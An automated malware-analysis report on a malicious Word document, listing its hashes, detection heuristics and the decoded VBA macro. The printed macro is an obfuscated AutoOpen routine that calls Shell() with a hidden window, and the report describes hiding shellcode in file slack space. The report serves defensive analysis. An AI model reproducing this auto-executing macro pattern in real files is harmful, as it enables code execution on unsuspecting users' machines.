Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 787d88772a1af1e6…

MALICIOUS

Office (OLE)

78.4 KB Created: 2018-08-31 18:35:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 7b59904da7c0c55945f34a3e167666f5 SHA-1: 0ca35fc4a89b69f3cdcb7a8ba3cf8f90f3859da4 SHA-256: 787d88772a1af1e6ec4900abd20406873977bfdaf87ef071d4a3ed2e2b5098d7
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to execute arbitrary commands using the Shell() function. The macro appears to be obfuscated, but the presence of the Shell() call is a critical indicator of malicious intent, likely to download and execute a second-stage payload.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 80,256 bytes but its declared streams total only 37,175 bytes — 43,081 bytes (54%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 686 bytes
SHA-256: 8845d38098dcd42838670350169a188e2dafc0110dcb3a46a1a42c53b38bea6a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wkmwdMaorjp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On _
Error _
Resume _
Next
   Hour 58522 / sWcFj * 83045 / bcinU
   Hour 98578 / 86103
Shell KeyString(1 + 10 + 11 + 5 + 40) + twcVIDGlnQ + SmTWqoOHFnjR + iwrwsfYBzl + SYUmbsQiL + NBXuwc + LXvURvBBVC + NZDHBi + idSnmZnRvCQz + mlopMGD, 81 - 81
   Hour 18580 * wjrTR / PLFaV / SAivwA
   Hour FuvfJS * 78395 * QJCzs / FOdzz
   Hour 32208 * rSNVU * rFJitT * qFiUz
End Sub

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